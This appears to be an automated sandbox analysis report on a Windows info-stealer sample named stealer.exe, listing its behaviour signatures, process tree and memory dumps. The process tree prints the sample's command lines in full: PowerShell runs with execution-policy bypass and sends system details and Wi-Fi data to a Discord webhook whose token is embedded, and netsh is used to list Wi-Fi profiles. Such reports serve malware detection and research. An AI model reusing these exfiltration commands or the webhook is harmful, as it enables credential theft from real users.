Analysis
- user interaction
yes - max time kernel
3s - max time network
14s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
11/07/2026, 00:51
General
- Target stealer.exe
- Size 426KB
- Sample260711-a7rwlab16w
- SHA256 02a24699d894b9e171959ba5c40bde17dcd869b134a51823caa4e7ecc76319c3
Malware Config
Signatures
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\stealer.exe"C:\Users\Admin\AppData\Local\Temp\stealer.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\\f98er24s\wh.ps1" "https://discord.com/api/webhooks/1524249338161664133/eLvkd0_pvuKKcpDxbOSVvqNrZMQfSBgFflJDqsbum-KjFUpQLtxNxFND4IAtottJo0OD" "stealer started successfully" 2>$null2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\\h0da1yoj\wh.ps1" "https://discord.com/api/webhooks/1524249338161664133/eLvkd0_pvuKKcpDxbOSVvqNrZMQfSBgFflJDqsbum-KjFUpQLtxNxFND4IAtottJo0OD" "## System Information **Hostname:** WBOMRQRB **User:** Admin **FQDN:** Wbomrqrb **HWID:** 8ae0ab3b306d2178bfbff **OS:** 10.0 Build 26100 **Arch:** x64 **RAM:** 16384 MB total, 2708 MB free **CPU:** Intel Core Processor (Broadwell) **Logical CPUs:** 8 **Display:** 1920x1080 **Timezone:** GMT Daylight Time **Uptime:** 2d 18h 52m **Timestamp:** 2026-07-11 01:51:46 " 2>$null2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh wlan show profiles 2>nul2⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\netsh.exenetsh wlan show profiles3⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\\e8760xls\wh.ps1" "https://discord.com/api/webhooks/1524249338161664133/eLvkd0_pvuKKcpDxbOSVvqNrZMQfSBgFflJDqsbum-KjFUpQLtxNxFND4IAtottJo0OD" "## WiFi Passwords [no profiles found] " 2>$null2⤵
- Command and Scripting Interpreter: PowerShell
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_lhbl4a2p.lqz.ps1
wh.ps1
memory/1312-36-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/1312-33-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/1312-38-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/1312-37-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/1312-27-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/1312-35-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/1312-32-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/1312-39-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/1312-31-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/1312-30-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/1312-29-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/1312-41-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/1312-28-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/1312-22-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/1312-25-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/3648-11-0x0000024ECB160000-0x0000024ECB322000-memory.dmp
memory/3648-20-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/3648-18-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/3648-17-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/3648-16-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/3648-15-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/3648-14-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/3648-13-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/3648-12-0x0000024ECB860000-0x0000024ECBD88000-memory.dmp
memory/3648-1-0x00007FFEA592F000-0x00007FFEA5930000-memory.dmp
memory/3648-10-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/3648-9-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/3648-7-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/3648-6-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp
memory/3648-5-0x0000024EB25B0000-0x0000024EB25D2000-memory.dmp
memory/3648-2-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp